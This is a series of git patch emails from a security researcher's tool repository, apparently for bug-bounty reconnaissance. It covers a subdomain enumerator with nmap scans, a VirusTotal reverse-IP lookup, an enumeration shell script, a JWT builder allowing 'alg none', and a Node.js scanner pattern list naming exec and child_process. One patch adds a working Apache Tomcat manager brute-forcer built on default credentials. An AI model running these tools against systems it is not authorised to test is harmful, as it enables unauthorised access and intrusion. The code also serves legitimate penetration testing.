print(message) if alg == 'hmac': signature = hmac.new(key.encode(), message, hashlib.sha256).hexdigest() + print(encode_part(bytes(signature, encoding='utf8'))) elif alg == 'none': # if alg is set to 'none' signature = '' @@ -47,7 +54,3 @@ def build_jwt(header, payload, key, alg='hmac'): payload = decode_part(parts['payload']) print(payload) - - -jwt = build_jwt(header, payload, 'secrety') -print(jwt) From 94c6cf9611ab7fdafea24b307439100787704c1f Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 24 Nov 2019 00:26:55 +0000 Subject: [PATCH 128/460] denumerator refactoring (Ptyhon 2 -> Python 3) --- denumerator/denumerator.py | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 962ec1d..6b7b45f 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # pylint: disable=invalid-name """ --- dENUMerator --- @@ -48,7 +48,8 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +# allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +allowed_http_responses = [200] timeout = 2 @@ -56,7 +57,7 @@ def usage(): """ prints welcome message """ - print welcome + print(welcome) def create_output_header(html_output): @@ -87,7 +88,7 @@ def append_to_output(html_output, url, http_status_code): # green - 200 OK if http_status_code == 200: http_status_code_color = "0c0" - + # red - error responses, but HTTP server exists if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" @@ -123,8 +124,8 @@ def send_request(proto, domain, output_file, html_output): 'http': 'http://', 'https': 'https://' } - - print '\t--> {}{}'.format(protocols.get(proto.lower()), domain) + + print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -133,8 +134,8 @@ def send_request(proto, domain, output_file, html_output): headers={'Host': domain}) if resp.status_code in allowed_http_responses: - print '[+] {}HTTP {}{}:\t {}'.format( - colors[resp.status_code], resp.status_code, colors['white'], domain) + print('[+] {}HTTP {}{}:\t {}'.format( + colors[resp.status_code], resp.status_code, colors['white'], domain)) if resp.status_code in allowed_http_responses: append_to_output(html_output, protocols.get( @@ -159,20 +160,20 @@ def enumerate_domains(domains, output_file, html_output, show=False): except requests.exceptions.InvalidURL: if show is True: - print '[-] {} is not a valid URL :/'.format(d) + print('[-] {} is not a valid URL :/'.format(d)) except requests.exceptions.ConnectTimeout: if show is True: - print '[-] {} :('.format(d) + print('[-] {} :('.format(d)) continue except requests.exceptions.ConnectionError: if show is True: - print '[-] connection to {} aborted :/'.format(d) + print('[-] connection to {} aborted :/'.format(d)) except requests.exceptions.ReadTimeout: if show is True: - print '[-] {} read timeout :/'.format(d) + print('[-] {} read timeout :/'.format(d)) except requests.exceptions.TooManyRedirects: if show is True: - print '[-] {} probably went into redirects loop :('.format(d) + print('[-] {} probably went into redirects loop :('.format(d)) else: pass @@ -201,7 +202,7 @@ def main(): # set options show = True if args.success else False - domains = open(args.file, 'rw').readlines() + domains = open(args.file, 'r').readlines() # create dir for HTML report if os.path.isdir('report') == False: From e84f4a3f2c4c711c0fcc69008cd4f0350f628a9b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 18 Dec 2019 02:07:32 +0000 Subject: [PATCH 129/460] denumerator.py TODO list --- denumerator/denumerator.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6b7b45f..e1a6905 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,5 +1,15 @@ #!/usr/bin/env python3 # pylint: disable=invalid-name +""" +@TODO +- results summary +- disable/enable by HTTP Response Code (200/500/404/403/302) +- HTTP response headers + + +""" + + """ --- dENUMerator --- @@ -48,11 +58,9 @@ } requests.packages.urllib3.disable_warnings() -# allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] -allowed_http_responses = [200] +allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] timeout = 2 - def usage(): """ prints welcome message @@ -174,6 +182,8 @@ def enumerate_domains(domains, output_file, html_output, show=False): except requests.exceptions.TooManyRedirects: if show is True: print('[-] {} probably went into redirects loop :('.format(d)) + except UnicodeError: + pass else: pass From be8403508bf3673a1771d2734c886260a109bebf Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 18 Dec 2019 02:11:11 +0000 Subject: [PATCH 130/460] denumerator.py - output summary [IN PROGRESS] --- denumerator/denumerator.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index e1a6905..08d2320 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -83,6 +83,16 @@ def create_output_header(html_output): return +def create_summary(html_output): + html = """ +
+

Denumerator Summary

+
+ + """ + html_output.write(html) + + def append_to_output(html_output, url, http_status_code): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' @@ -224,6 +234,9 @@ def main(): # main loop enumerate_domains(domains, output_file, html_output, show) + # summary + create_summary(html_output) + # finish HTML output create_output_footer(html_output) html_output.close() From 9ebdb2a9b32ca557d3599f76bec2e96f3a72a39e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 18 Feb 2020 00:40:59 +0000 Subject: [PATCH 131/460] show only 200 --- denumerator/denumerator.py | 1 + 1 file changed, 1 insertion(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 08d2320..381d6c6 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -59,6 +59,7 @@ requests.packages.urllib3.disable_warnings() allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] +# allowed_http_responses = [200] timeout = 2 def usage(): From 0754d9936b63f3f8261332df5a6639b6f6bbe30d Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 23 Feb 2020 10:17:04 +0000 Subject: [PATCH 132/460] VirusTotal IP scanner - returns domains related to IP [virustotal] --- denumerator/denumerator.py | 2 +- virustotal.py | 73 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) create mode 100755 virustotal.py diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 381d6c6..98e6667 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -13,7 +13,7 @@ """ --- dENUMerator --- -by bl4de | bloorq@gmail.com | Twitter: @_bl4de | HackerOne: bl4de +by bl4de | bloorq@gmail.com | HackerOne: bl4de Enumerates list of subdomains (output from tools like Sublist3r or subbrute) and creates output file with servers responding on port 80/HTTP diff --git a/virustotal.py b/virustotal.py new file mode 100755 index 0000000..ace81a2 --- /dev/null +++ b/virustotal.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +from netaddr import * +import ctfpwn +import json +import time +import os +import argparse + + +virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] + + +def process(cidr, logfile='virustotal.log'): + total_found_domains = 0 + ips = IPSet([cidr]) + + for ip in ips: + print("\n[+] Resolving IP: {}".format(ip)) + found_domains = 0 + + url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( + virus_total_api_key, str(ip)) + + resp = ctfpwn.http_get(url) + + if resp: + domains = json.loads(resp) + + if (domains['response_code'] == 0): + print "[-] Empty response for {}".format(str(ip)) + time.sleep(15) + continue + + f = open(logfile, 'a') + + for d in domains['resolutions']: + print('>>> {}'.format(d['hostname'])) + found_domains = found_domains + 1 + f.write("{}\n".format(d['hostname'])) + + print "[+] Found {} domain(s) on {}".format(found_domains, str(ip)) + print("[+] Waiting 15 sec. until next request (VirusTotal API restriction)") + total_found_domains = total_found_domains + found_domains + f.close() + else: + print "[-] Empty response for {}".format(str(ip)) + + time.sleep(15) + + print("\n\n[+] Done, found {} in total".format(total_found_domains)) + + +def main(): + + parser = argparse.ArgumentParser() + logfile = '' + + parser.add_argument( + "-c", "--cidr", help="Network CIDR") + parser.add_argument( + "-o", "--output", help="Log filename (default - virustotal.log)") + + args = parser.parse_args() + + if args.output: + logfile = args.output + if args.cidr: + process(args.cidr, logfile) + + +if __name__ == "__main__": + main() From 0caf89db9614b57c4cd0c6e3cd9de85066aaf588 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 28 Feb 2020 15:56:47 +0000 Subject: [PATCH 133/460] exec() pattern added [nodestructor] --- nodestructor/nodestructor.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index ecead64..e31d1d1 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -49,6 +49,7 @@ ".*pipe\(res", ".*bodyParser\(", ".*eval\(", + ".*exec\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", From d636012fb674c25049faadf28d6931d4cf4dd508 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 8 Mar 2020 15:24:06 +0000 Subject: [PATCH 134/460] [denumerator] Allowed HTTP response codes as an option --- denumerator/denumerator.py | 36 +++++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 98e6667..6991621 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -23,12 +23,12 @@ usage: $ ./denumerator.py [domain_list_file] """ + import argparse import sys import os import time import requests - welcome = """ --- dENUMerator --- usage: @@ -56,12 +56,11 @@ "lightgrey": '\33[37m', "lightblue": '\33[94' } - requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] -# allowed_http_responses = [200] + timeout = 2 + def usage(): """ prints welcome message @@ -135,7 +134,7 @@ def create_output_footer(html_output): return -def send_request(proto, domain, output_file, html_output): +def send_request(proto, domain, output_file, html_output, allowed_http_responses): """ sends request to check if server is alive """ @@ -151,12 +150,11 @@ def send_request(proto, domain, output_file, html_output): allow_redirects=False, verify=False, headers={'Host': domain}) - - if resp.status_code in allowed_http_responses: + if str(resp.status_code) in allowed_http_responses: print('[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain)) - if resp.status_code in allowed_http_responses: + if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( proto.lower()) + domain, resp.status_code) @@ -167,15 +165,17 @@ def send_request(proto, domain, output_file, html_output): return resp.status_code -def enumerate_domains(domains, output_file, html_output, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, show=False): """ enumerates domain from domains """ for d in domains: try: d = d.strip('\n').strip('\r') - send_request('http', d, output_file, html_output) - send_request('https', d, output_file, html_output) + send_request('http', d, output_file, + html_output, allowed_http_responses) + send_request('https', d, output_file, + html_output, allowed_http_responses) except requests.exceptions.InvalidURL: if show is True: @@ -202,6 +202,7 @@ def enumerate_domains(domains, output_file, html_output, show=False): def main(): parser = argparse.ArgumentParser() + allowed_http_responses = [] parser.add_argument( "-f", "--file", help="File with list of hostnames") @@ -211,6 +212,9 @@ def main(): "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") + parser.add_argument( + "-c", "--code", help="Show only selected HTTP response status codes, comma separated" + ) args = parser.parse_args() if args.timeout: @@ -221,6 +225,11 @@ def main(): else: output_file = False + if args.code: + allowed_http_responses = args.code.split(',') + else: + allowed_http_responses = [200] + # set options show = True if args.success else False domains = open(args.file, 'r').readlines() @@ -233,11 +242,12 @@ def main(): html_output = open('report/__denumerator_report.html', 'w+') create_output_header(html_output) # main loop - enumerate_domains(domains, output_file, html_output, show) + enumerate_domains(domains, output_file, html_output, + allowed_http_responses, show) # summary create_summary(html_output) - + # finish HTML output create_output_footer(html_output) html_output.close() From 85a6cb642a614638071f3f4629b3fc071ef513b7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 9 Apr 2020 18:44:07 +0100 Subject: [PATCH 135/460] [denumerator] Fix for default -c/--code option --- denumerator/denumerator.py | 2 +- virustotal.py | 8 +++----- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6991621..15869b2 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -228,7 +228,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = [200] + allowed_http_responses = ['200'] # set options show = True if args.success else False diff --git a/virustotal.py b/virustotal.py index ace81a2..55dc91a 100755 --- a/virustotal.py +++ b/virustotal.py @@ -7,10 +7,8 @@ import os import argparse - virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] - def process(cidr, logfile='virustotal.log'): total_found_domains = 0 ips = IPSet([cidr]) @@ -28,7 +26,7 @@ def process(cidr, logfile='virustotal.log'): domains = json.loads(resp) if (domains['response_code'] == 0): - print "[-] Empty response for {}".format(str(ip)) + print("[-] Empty response for {}".format(str(ip))) time.sleep(15) continue @@ -39,12 +37,12 @@ def process(cidr, logfile='virustotal.log'): found_domains = found_domains + 1 f.write("{}\n".format(d['hostname'])) - print "[+] Found {} domain(s) on {}".format(found_domains, str(ip)) + print("[+] Found {} domain(s) on {}".format(found_domains, str(ip))) print("[+] Waiting 15 sec. until next request (VirusTotal API restriction)") total_found_domains = total_found_domains + found_domains f.close() else: - print "[-] Empty response for {}".format(str(ip)) + print("[-] Empty response for {}".format(str(ip))) time.sleep(15) From 05db1270c9592ff9cdfc10b51d0cf95057a004fb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 9 Apr 2020 20:05:28 +0100 Subject: [PATCH 136/460] [denumerator] HTTP response headers, IPs, nmap scan results; refactoring; HTML report redesign --- denumerator/denumerator.py | 131 ++++++++++++++++++++++++++++--------- 1 file changed, 100 insertions(+), 31 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 15869b2..5e8db98 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -27,6 +27,7 @@ import argparse import sys import os +import subprocess import time import requests welcome = """ @@ -75,25 +76,40 @@ def create_output_header(html_output): denumerator output + + """ html_output.write(html) return -def create_summary(html_output): - html = """ -
-

Denumerator Summary

-
- - """ - html_output.write(html) - - -def append_to_output(html_output, url, http_status_code): +def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( @@ -111,15 +127,54 @@ def append_to_output(html_output, url, http_status_code): if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" + # IP address information + ip_html = "
" + ips = [ip for ip in ip_addresses.split(b"\n")] + for ip in ips: + if ip.find(b"address") > 0: + ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "
" + + # nmap scan results + open_ports = [port for port in nmap_output.stdout.split( + b"\n") if port.find(b"open") > 0] + nmap_html = "
" + for port in open_ports: + nmap_html = nmap_html + \ + "

{}

".format(port.decode("utf-8")) + nmap_html = nmap_html + "
" + + # HTTP response headers + response_headers_html = "" + for header in response_headers.keys(): + response_headers_html = response_headers_html + "

{} : {}

".format( + header, response_headers[header] + ) + html = """ -
-

HTTP Response Status: {}

-

- {} -

- -
- """.format(http_status_code_color, http_status_code, url, url, screenshot_name) + + + + + + + + """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) html_output.write(html) html_output.flush() return @@ -127,14 +182,15 @@ def append_to_output(html_output, url, http_status_code): def create_output_footer(html_output): html = """ - - +
+

HTTP Response Status: {}

+

+ {} +

+ +
+

HTTP Response Headers

+ {} +
+

IP host addresses

+ {} +
+

nmap scan results

+ {} +
+ + """ html_output.write(html) return -def send_request(proto, domain, output_file, html_output, allowed_http_responses): +def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip): """ sends request to check if server is alive """ @@ -156,7 +212,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( - proto.lower()) + domain, resp.status_code) + proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip) if output_file: output_file.write('{}\n'.format(domain)) @@ -165,17 +221,27 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, show=False): """ enumerates domain from domains """ for d in domains: try: d = d.strip('\n').strip('\r') + + # IP address + ip = subprocess.run(["host", d], capture_output=True).stdout + + # perform nmap scan + nmap_output = subprocess.run( + ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) + print([port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) + send_request('http', d, output_file, - html_output, allowed_http_responses) + html_output, allowed_http_responses, nmap_output, ip) send_request('https', d, output_file, - html_output, allowed_http_responses) + html_output, allowed_http_responses, nmap_output, ip) except requests.exceptions.InvalidURL: if show is True: @@ -213,7 +279,11 @@ def main(): parser.add_argument( "-o", "--output", help="Path to output file") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated" + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + ) + + parser.add_argument( + "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) args = parser.parse_args() @@ -230,6 +300,8 @@ def main(): else: allowed_http_responses = ['200'] + nmap_top_ports = args.ports + # set options show = True if args.success else False domains = open(args.file, 'r').readlines() @@ -243,10 +315,7 @@ def main(): create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, - allowed_http_responses, show) - - # summary - create_summary(html_output) + allowed_http_responses, nmap_top_ports, show) # finish HTML output create_output_footer(html_output) From d9c1887577bb4df1e52093a70b78313fde796192 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 26 Apr 2020 00:01:51 +0100 Subject: [PATCH 137/460] Apache Tomcat login bruteforcer [apache-tomcat-login-bruteforce.py] --- .gitignore | 1 + apache-tomcat-login-bruteforce.py | 155 ++++++++++++++++++++++++++++++ denumerator/denumerator.py | 2 +- 3 files changed, 157 insertions(+), 1 deletion(-) create mode 100755 apache-tomcat-login-bruteforce.py diff --git a/.gitignore b/.gitignore index 3606a75..b48f25f 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,4 @@ sword/OUTPUT *.log .vscode +.history/ diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py new file mode 100755 index 0000000..0afc5ce --- /dev/null +++ b/apache-tomcat-login-bruteforce.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +""" +@author: bl4de | bloorq@gmail.com +@licence: MIT | https://opensource.org/licenses/MIT + +Apache Tomcat credentials bruteforce login +with Tomcat defualt username/password list. + +So technically it's not bruteforcing :) +""" + +import requests +import argparse + +""" +default Apache Tomcat credentials +source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt +""" +credentials = [ + 'admin:', + 'admin:admanager', + 'admin:admin', + 'admin:admin', + 'ADMIN:ADMIN', + 'admin:adrole1', + 'admin:adroot', + 'admin:ads3cret', + 'admin:adtomcat', + 'admin:advagrant', + 'admin:password', + 'admin:password1', + 'admin:Password1', + 'admin:tomcat', + 'admin:vagrant', + 'both:admanager', + 'both:admin', + 'both:adrole1', + 'both:adroot', + 'both:ads3cret', + 'both:adtomcat', + 'both:advagrant', + 'both:tomcat', + 'cxsdk:kdsxc', + 'j2deployer:j2deployer', + 'manager:admanager', + 'manager:admin', + 'manager:adrole1', + 'manager:adroot', + 'manager:ads3cret', + 'manager:adtomcat', + 'manager:advagrant', + 'manager:manager', + 'ovwebusr:OvW*busr1', + 'QCC:QLogic66', + 'role1:admanager', + 'role1:admin', + 'role1:adrole1', + 'role1:adroot', + 'role1:ads3cret', + 'role1:adtomcat', + 'role1:advagrant', + 'role1:role1', + 'role1:tomcat', + 'role:changethis', + 'root:admanager', + 'root:admin', + 'root:adrole1', + 'root:adroot', + 'root:ads3cret', + 'root:adtomcat', + 'root:advagrant', + 'root:changethis', + 'root:owaspbwa', + 'root:password', + 'root:password1', + 'root:Password1', + 'root:r00t', + 'root:root', + 'root:toor', + 'tomcat:', + 'tomcat:admanager', + 'tomcat:admin', + 'tomcat:admin', + 'tomcat:adrole1', + 'tomcat:adroot', + 'tomcat:ads3cret', + 'tomcat:adtomcat', + 'tomcat:advagrant', + 'tomcat:changethis', + 'tomcat:password', + 'tomcat:password1', + 'tomcat:s3cret', + 'tomcat:s3cret', + 'tomcat:tomcat', + 'xampp:xampp', + 'server_admin:owaspbwa', + 'admin:owaspbwa', + 'demo:demo' +] + + +def brute(args): + """ + Iterate over login:password pairs from credentials and send GET request to + Apache Tomcat with Authorization header set + + If HTTP response status is not equal 403, we probably found valid credentials + """ + url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager) + for lp in credentials: + (login, password) = lp.split(':') + print("[.] checking {}:{}...\r".format(login, password), end="") + resp = requests.get( + url=url, + auth=(login, password) + ) + + # 401 Unauthorized ? + if resp.status_code == 200: + return (login, password) + + return (False, False) + + +def main(): + """ + Main execution routine. + """ + parser = argparse.ArgumentParser() + parser.add_argument( + "-H", "--host", help="Apache Tomcat hostname") + parser.add_argument( + "-P", "--proto", help="Protocol: http or https", choices=['http', 'https']) + parser.add_argument( + "-m", "--manager", help="Path to Host Manager (default: /manager/html)", default="manager/html" + ) + parser.add_argument( + "-p", "--port", type=int, default=8080, help="port (default - 8080)") + + args = parser.parse_args() + + (login, password) = brute(args) + + if login != False: + print("[+] BOOM! Found valid credentials: {}:{}".format(login, password)) + else: + print("[-] No valid credentials found :(") + + exit(0) + + +""" +Run! +""" +main() diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5e8db98..04c6229 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -97,7 +97,7 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 10px solid #6e6f6f; + border-top: 12px solid #6e6f6f; } From 8608ffc5998c52594c8fb87c445494237bb15d2b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 02:23:27 +0100 Subject: [PATCH 138/460] refactoring --- apache-tomcat-login-bruteforce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0afc5ce..88870ed 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -101,15 +101,15 @@ def brute(args): """ - Iterate over login:password pairs from credentials and send GET request to + Iterate over login:password pairs from credentials array and send GET request to Apache Tomcat with Authorization header set - If HTTP response status is not equal 403, we probably found valid credentials + If HTTP response status is equal 200, we found valid credentials """ url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager) for lp in credentials: (login, password) = lp.split(':') - print("[.] checking {}:{}...\r".format(login, password), end="") + print("[.] checking {}:{}..................................................\r".format(login, password), end="") resp = requests.get( url=url, auth=(login, password) From a4aeb313dc624d91283a26855a42faf84a9c8c4f Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 02:56:05 +0100 Subject: [PATCH 139/460] [virustotal] Fix for missing default virustotal.log file --- virustotal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virustotal.py b/virustotal.py index 55dc91a..23ad0e4 100755 --- a/virustotal.py +++ b/virustotal.py @@ -9,7 +9,7 @@ virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] -def process(cidr, logfile='virustotal.log'): +def process(cidr, logfile): total_found_domains = 0 ips = IPSet([cidr]) @@ -52,7 +52,7 @@ def process(cidr, logfile='virustotal.log'): def main(): parser = argparse.ArgumentParser() - logfile = '' + logfile = 'virustotal.log' parser.add_argument( "-c", "--cidr", help="Network CIDR") From 3c34eb73300794dd5bb9ae307edc9bd430476830 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 11:02:23 +0100 Subject: [PATCH 140/460] [virustotal.py] change log file name --- virustotal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virustotal.py b/virustotal.py index 23ad0e4..9a6aa7a 100755 --- a/virustotal.py +++ b/virustotal.py @@ -52,12 +52,12 @@ def process(cidr, logfile): def main(): parser = argparse.ArgumentParser() - logfile = 'virustotal.log' + logfile = 'virustotal.domains' parser.add_argument( "-c", "--cidr", help="Network CIDR") parser.add_argument( - "-o", "--output", help="Log filename (default - virustotal.log)") + "-o", "--output", help="Log filename (default - virustotal.domains)") args = parser.parse_args() From bb31905fb6bc1372cbc0029fca15a73261374ca8 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 14:59:42 +0100 Subject: [PATCH 141/460] [denumerator] Fix for timing out in subprocess.run(); add refactored subdomain_enum.sh --- denumerator/denumerator.py | 4 +- subdomain_enum.sh | 98 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 101 insertions(+), 1 deletion(-) create mode 100755 subdomain_enum.sh diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 04c6229..1c2c0c3 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -230,7 +230,7 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, d = d.strip('\n').strip('\r') # IP address - ip = subprocess.run(["host", d], capture_output=True).stdout + ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout # perform nmap scan nmap_output = subprocess.run( @@ -261,6 +261,8 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, print('[-] {} probably went into redirects loop :('.format(d)) except UnicodeError: pass + except subprocess.TimeoutExpired: + pass else: pass diff --git a/subdomain_enum.sh b/subdomain_enum.sh new file mode 100755 index 0000000..daea6b3 --- /dev/null +++ b/subdomain_enum.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Subdomain enumeration and web server discovery + screenshot tools +# +# @author: bl4de +# @licence: MIT +# + + +## create domains/ folder +create_domains_folder() { + if [ ! -d domains ]; then + mkdir domains + echo -e "$(date) domains/ folder created" >> subdomain_enum.log + fi +} + + +## perform sublist3r and amass enumeration on each domain passed as an argument +enumerate_domain() { + local DOMAIN=$1 + echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log + sublister -d $DOMAIN -o domains/$DOMAIN.sublister + amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + cat domains/$DOMAIN.* > domains/$DOMAIN.all + sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN + fi + rm -f domains/$DOMAIN.* + echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log +} + +## processing all outputed list of domains into one, removing dups +## and sorting +create_list_of_domains() { + echo -e "$(date) create final list of domains found..." >> subdomain_enum.log + # concatenate and sort all domains from the target + cat domains/*.* > domains/domains.all + sort -u -k 1 domains/domains.all > domains/__domains + # remove odd
left by Sublist3r or amass :P + sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final + rm -f domains/domains.all + echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log +} + + +## runs denumerator +run_denumerator() { + echo -e "$(date) denumerator started" >> subdomain_enum.log + denumerator -f domains/__domains.final -c 200,302,403,500 + echo -e "$(date) denumerator finished" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log +} + + +## performs nmap scan +run_virustotal_enum() { + echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log + # run virustotal.py reverse domain search + virustotal --cidr $CIDR --output domains/virustotal.domains + echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log +} + + +## ----------------------------------------------------------------------------- + +# list of domains - text file, one domain in single line +DOMAINS=$1 + +# IP address range +CIDR=$2 + +echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log + +# enusre that domains/ folder exists, if not create one +create_domains_folder + +if [[ -n $CIDR ]]; then + run_virustotal_enum +fi + +cat $DOMAINS | while read DOMAIN +do + enumerate_domain $DOMAIN +done + +# concatenate and sort all domains from the target +create_list_of_domains +echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" + +# run denumerator on the domains/domains.final output file +run_denumerator + +echo -e "\n[+} DONE." + +## ----------------------------------------------------------------------------- + + From f5cfb22f08ffe319ef4587975e130098fdf65cb6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 15:09:38 +0100 Subject: [PATCH 142/460] [apache-tomcat-login-bruteforce] Fix for invalid SSL certificates when executing GET to HOST/manager/html --- apache-tomcat-login-bruteforce.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 88870ed..0f15823 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -11,11 +11,15 @@ import requests import argparse +import urllib3 """ default Apache Tomcat credentials 